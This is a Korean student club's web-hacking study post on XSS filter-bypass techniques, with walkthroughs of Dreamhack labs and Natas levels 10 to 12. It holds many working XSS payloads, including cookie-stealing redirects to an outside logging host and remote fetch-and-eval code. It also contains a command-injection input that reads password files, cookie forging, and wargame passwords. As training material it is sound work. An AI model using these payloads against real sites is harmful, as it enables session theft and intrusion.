-
[SISS/웹해킹 스터디] 25-1학기 2주차 스터디 - XSS Filtering Bypass I, Natas 10 >> 1225-1 SISS/웹해킹 2025. 3. 20. 22:30
[SISS/웹해킹 스터디] 25-1학기 2주차 스터디 - XSS Filtering Bypass I, Natas 10 >> 12 : 2주차 (3/17 ~ 3/23) XSS Filtering Bypass 10 >> 12
XSS Filtering Bypass - II
- 올바르지 못한 방식의 필터링
- 문제점
- 기존의 XSS 공격 방어 역할을 올바르게 수행하지 못함
- 기타 방어 기법들을 우회해 새로운 공격을 수행할 수 있도록 기회 제공
- 근본적인 해결책
- 태그 삽입이 되지 않도록 원인 제거
- 문제점
- 자바스크립트 함수 및 키워드 필터링
- Unicode escape sequence
- 자바스크립트에서 지원하는 표기법
- 문자열에서 유니코드 문자를 코드 포인트로 나타낼 수 있음
- Computed member access
- 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능
- 자바스크립트 키워드 필터링
- XSS 공격에 흔히 사용되는 구문과 필터링 우회를 위해 사용될 수 있는 대체 예시
구문 대체 구문 alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기 window self, this eval(code) Function(code)() Function isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근 - 자바스크립트 특성 활용
- [, ], (, ), !, +으로 모든 동작 수행 가능
- XSS 필터링에서 주로 탐지하는 단어를 언급하지 않음
- 공격 구문의 길이가 늘어난다는 단점
- [, ], (, ), !, +으로 모든 동작 수행 가능
- XSS 공격에 흔히 사용되는 구문과 필터링 우회를 위해 사용될 수 있는 대체 예시
- Unicode escape sequence
- 자바스크립트 함수 및 키워드 필터링
- 특정 문자((), [], “, ‘ 등)를 사용하지 못하는 경우
- 필터링 혹은 인코딩/디코딩 등의 이유
- 특정 문자((), [], “, ‘ 등)를 사용하지 못하는 경우
/* Unicode escape sequence 우회 */ var foo = "\u0063ookie"; // cookie var bar = "cooki\x65"; // cookie \u0061lert(document.cookie); // alert(document.cookie)
/* computed member access */ document["coo"+"kie"] == document["cookie"] == document.cookie /* Computed member access 우회 */ alert(document["\u0063ook" + "ie"]); // alert(document.cookie) window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
- 문자열 선언 → 따옴표가 필터링 되어 있는 경우
- 템플릿 리터럴 사용 → 백틱을 이용하여 내장된 표현식 ${} 사용
/* 템플릿 리터럴 사용 예시 */ var foo = "Hello"; var bar = "World"; var baz = `${foo}, ${bar} ${1+1}.`; // "Hello,\\nWorld 2."
- RegExp 객체 사용하기 → 객체의 패턴 부분을 가져옴
/* RegExp 객체 사용 예시 */ var foo = /Hello World!/.source; // "Hello World!" var bar = /test !/ + []; // "/test !/"
- String.fromCharCode 함수 사용 → 유니코드의 범위 중 파라미터로 전달된 수에 해당하는 문자를 반환
/* fromCharCode 함수 사용 예시 */ var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
- 기본 내장 함수 혹은 객체의 문자 사용
- toString()
- 내장 함수나 객체를 문자열로 변환
- 한 글자씩 가져와 문자열을 만듦
- history.toString() → [object History] 문자열 반환
- URL.toString() → function URL() { [native code] } 문자열 반환
- history+[]; history+0; → 산술연산 수행 시 연산을 위해 객체 내부적으로 toString() 호출 후 연산 수행
/* 내장 함수 및 객체 문자 이용 예시 */ var baz = history.toString()[8] + // "H" (history+[])[9] + // "i" (URL+0)[12] + // "(" (URL+0)[13]; // ")" ==> "Hi()"
- toString()
- 숫자 객체의 진법 변환
- 36진수로 변경하여 아스키 영어 소문자 범위를 생성
- 괄호 이용, 점 두개, 공백과 점 조합을 이용하여 사용
/* 진법 변환 예시 */ var foo = (29234652).toString(36); // "hello" var foo = 29234652..toString(36); // "hello" var bar = 29234652 .toString(36); // "hello"
- 36진수로 변경하여 아스키 영어 소문자 범위를 생성
- 템플릿 리터럴 사용 → 백틱을 이용하여 내장된 표현식 ${} 사용
- 함수 호출
- 소괄호와 백틱이 필터링 되어있는 경우
- javascript 스키마를 이용한 location 변경
- javacsript: → location 객체를 변조
/* javascript 스키마를 이용한 우회 예시 */ location="javascript:alert\\x28document.domain\\x29;"; location.href="javascript:alert\\u0028document.domain\\u0029;"; location['href']="javascript:alert\\050document.domain\\051;";
- javacsript: → location 객체를 변조
- Symbol.hasInstance 오버라이딩
- Symbol을 속성 명칭으로 사용
- instanceof 연산자 오버라이드(재정의) 가능
- 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출
/* Symbol.hasInstance 오버라이딩 예시 */ "alert\\x28document.domain\\x29"instanceof{[Symbol.hasInstance]:eval}; Array.prototype[Symbol.hasInstance]=eval;"alert\\x28document.domain\\x29"instanceof[];
- Symbol을 속성 명칭으로 사용
- document.body.innerHTML 추가
- 문서 내에 새로운 HTML 코드 추가
- document.body.innerHTML에 코드를 추가하여 자바스크립트 코드 실행
- script 태그가 보안 정책 상 실행되지 않으므로 이벤트 핸들러 이용
/* document.body.innerHTML 추가 예시 */ document.body.innerHTML+="<img src=x: onerror=alert(1)>"; document.body.innerHTML+="<body src=x: onload=alert(1)>";
- 문서 내에 새로운 HTML 코드 추가
- 자바스크립트 함수 및 키워드 필터링 실습
- 1단계
- 함수명 자체를 필터링하므로 나눈 문자열을 통해 실행
- 2단계
- 1단계에 특수문자 필터링이 추가됨
- 인코딩한 문자를 다시 디코딩하여 실행
- 3단계
- 특수문자 필터링
- 1단계
/* 1단계 필터링 */ function XSSFilter(data){ if(/alert|window|document/.test(data)){ return false; } return true; } /* 1단계 정답 */ this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
/* 2단계 필터링 */ function XSSFilter(data){ if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|constructor|[\-+\\<>{}=]/i.test(data)){ return false; } return true; } /* 2단계 정답 */ Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')]( decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))(); Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
/* 3단계 필터링 */ function XSSFilter(data){ if(/[()"'`]/.test(data)){ return false; } return true; } /* 3단계 정답 */ /alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval}; location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
자바스크립트 함수 및 키워드 필터링 실습 - 디코딩 전 필터링
- 검증이 끝난 데이터를 디코딩할 경우
- 검증 전 디코딩을 이미 한 번 진행한 상태
- 따라서 두 번 디코딩을 하게 되어 공격자의 더블 인코딩을 통한 검증 우회 가능
- 검증이 끝난 데이터를 디코딩할 경우
/* 검사가 미흡한 PHP */ <?php $query = $_GET["query"]; if (stripos($query, "<script>") !== FALSE) { header("HTTP/1.1 403 Forbidden"); die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8")); } ... $searchQuery = urldecode($_GET["query"]); ?> <h1>Search results for: <?php echo $searchQuery; ?></h1> /* 공격에 실패 */ POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1 ... ----- HTTP/1.1 403 Forbidden XSS attempt detected: <script>alert(document.cookie)</script> /* 더블 URL 인코딩으로 공격 성공 */ POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1 ... ----- HTTP/1.1 200 OK <h1>Search results for: <script>alert(document.cookie)</script></h1>
- 길이 제한
- 삽입 가능 코드 길이 제한
- URL fragment 등으로 삽입한 추가 실행 코드(payload)를 launcher를 통해 실행
- 예시
- 주로 location.hash로 framgent 부분을 추출하여 eval()로 실행하는 방법 사용
- 쿠키에 페이로드 저장
- 외부 자원(import 등)을 스크립트로 로드
- 삽입 가능 코드 길이 제한
/* location.hash 이용 */ https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
/* 외부 자원 이용 */ import("http://malice.dreamhack.io"); var e = document.createElement('script') e.src='http://malice.dreamhack.io'; document.appendChild(e); fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))
문제 2
문제 2 XSS Filtering Bypass 실습 1
- /vuln
- 이용자가 전달한 param 파라미터의 값을 필터링하여 출력
- script, on, javascript 키워드를 대소문자 구분 없이 필터링
- /memo
- 이용자가 전달한 memo 파라미터의 값을 memo.html에 기록하고 출력
- /flag
- get
- flag.html을 제공(URL을 입력받는 페이지)
- post
- 사용자 입력을 param으로 가져와 check_xss()에서 확인
- False일 경우 wrong??을, True일 경우 good을 반환
- check_xss()는 read_url()의 결과를 반환
- read_url()은 접속에 성공할 경우 True, 실패할 경우 False를 반환
- 사용자 입력을 param으로 가져와 check_xss()에서 확인
- get
@app.route("/vuln") def vuln(): param = request.args.get("param", "") param = xss_filter(param) return param def xss_filter(text): _filter = ["script", "on", "javascript"] for f in _filter: if f in text.lower(): text = text.replace(f, "") return text
@app.route("/memo") def memo(): global memo_text text = request.args.get("memo", "") memo_text += text + "\n" return render_template("memo.html", memo=memo_text)
def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0.1"}) try: service = Service(executable_path="/chromedriver") options = webdriver.ChromeOptions() for _ in [ "headless", "window-size=1920x1080", "disable-gpu", "no-sandbox", "disable-dev-shm-usage", ]: options.add_argument(_) driver = webdriver.Chrome(service=service, options=options) driver.implicitly_wait(3) driver.set_page_load_timeout(3) driver.get("http://127.0.0.1:8000/") driver.add_cookie(cookie) driver.get(url) except Exception as e: driver.quit() # return str(e) return False driver.quit() return True def check_xss(param, cookie={"name": "name", "value": "value"}): url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" return read_url(url, cookie) @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>'
- 취약점 분석
- /memo의 render_template()이 키워드를 제거하는 방식으로 필터링하고 있음을 확인
- scrionpt → script와 같이 필터링에서 탐지되지 않는 방법 발생
- /memo의 render_template()이 키워드를 제거하는 방식으로 필터링하고 있음을 확인
- 풀이
- 사용 속성 → location에 on이 포함되어있으므로 우회 필요 → document[’locatio’+’n’]
속성 설명 location.href 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값입니다. document.cookie 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값입니다. - 쿠키 탈취 코드
- 사용 속성 → location에 on이 포함되어있으므로 우회 필요 → document[’locatio’+’n’]
/* /memo 이용 - /flag에서 아래를 코드를 입력 */ <scronipt>document['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scronipt>
/* 웹 서버 사용 - 접속 기록을 저장하는 외부 웹 서버를 이용해 확인 */ <scronipt>document['locatio'+'n'].href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</scronipt>
- 실행 화면
- 메모 페이지 이용
XSS Filtering Bypass 실습 1 - 메모 페이지 이용 XSS Filtering Bypass 실습 2
- 실습 1에서 필터링 함수가 변경됨
- xss_filter()
- 키워드가 있을 경우 문자열 filtered!!!를 반환
- 이벤트핸들러 사용 불가
def xss_filter(text): _filter = ["script", "on", "javascript"] for f in _filter: if f in text.lower(): return "filtered!!!" advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"] for f in advanced_filter: if f in text.lower(): return "filtered!!!" return text
- xss_filter()
- 풀이
- 브라우저 정규화
- 클라이언트에서 특수문자를 제거한 후 스크립트 실행 → 필터링되는 문자 사이 특수문자를 삽입해 검증을 우회할 수 있다
- 브라우저 정규화
<iframe src="javascri pt:locatio n.href='/memo?memo='%2bdocumen t.cookie">
XSS Filtering Bypass 실습 2 Natas 10 >> 11
Natas 9 >> 10 완료 화면 - 풀이
- View sourcecode
- preg_match()
- 특수문자 ;, |, &의 존재 여부를 검사하여
- 있을 경우 오류 메시지 출력
- 없을 경우 dictionary.txt에서 grep 명령어를 이용하여 키를 검사
- grep -i $key dictionary.txt
- 특수문자 ;, |, &의 존재 여부를 검사하여
- 명령어 작성
- 비밀번호가 저장되어있는 경로의 모든 내용을 출력하도록 작성
- . cat /etc/natas_webpass/natas
- 비밀번호가 저장되어있는 경로의 모든 내용을 출력하도록 작성
- preg_match()
- View sourcecode
natas 10 - 입력
- id → natas11
- pw → UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk
Natas 10 >> 11 Natas 11 >> 12
Natas 10 >> 11 완료 화면 - 풀이
- View sourcecode
- showpassword
- yes일 경우 비밀번호 출력
- loadData()
- 쿠키에 데이터가 존재할 때 쿠키의 데이터 값을 base64 디코딩 → key와 xor 연산 → JSON을 PHP 배열로 변환
- 거꾸로 PHP 배열을 key와 xor 연산할 경우 base64 인코딩 값을 구할 수 있음
- 배열인지 확인 이후 showpassword, bgcolor에 유효한 값이 존재하면 데이터 업데이트
- 쿠키에 데이터가 존재할 때 쿠키의 데이터 값을 base64 디코딩 → key와 xor 연산 → JSON을 PHP 배열로 변환
- showpassword
- key 값 알아내기 → eDWo
- 개발자 도구 > application > 쿠키 > data
- HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D → eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe
- 개발자 도구 > application > 쿠키 > data
- showpassword가 yes일 때의 쿠키 데이터 값 만들기
- View sourcecode의 xor_encrypt()를 이용 → HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5
- 알아낸 데이터 값을 이용해 쿠키 변조
- View sourcecode
View sourcecode /* key 값 알아내기 */ <?php $data = 'HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D'; $json_encode = '{"showpassword":"no","bgcolor":"#ffffff"}'; $key = base64_decode($data) ^ $json_encode; echo $key; ?>
key 값 알아내기 /* showpassword가 yes일 때의 쿠키 데이터 값 만들기 */ <?php function xor_encrypt() { $default_data = array("showpassword"=>"yes", "bgcolor"=>"#ffffff"); $key = 'eDWo'; $text = json_encode($default_data); $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return base64_encode($outText); } echo xor_encrypt(); ?>
showpassword가 yes일 때의 쿠키 데이터 값 만들기 알아낸 데이터 값을 이용해 쿠키 변조 - 입력
- id → natas12
- pw → yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB
Natas 11 >> 12 '25-1 SISS > 웹해킹' 카테고리의 다른 글
- 올바르지 못한 방식의 필터링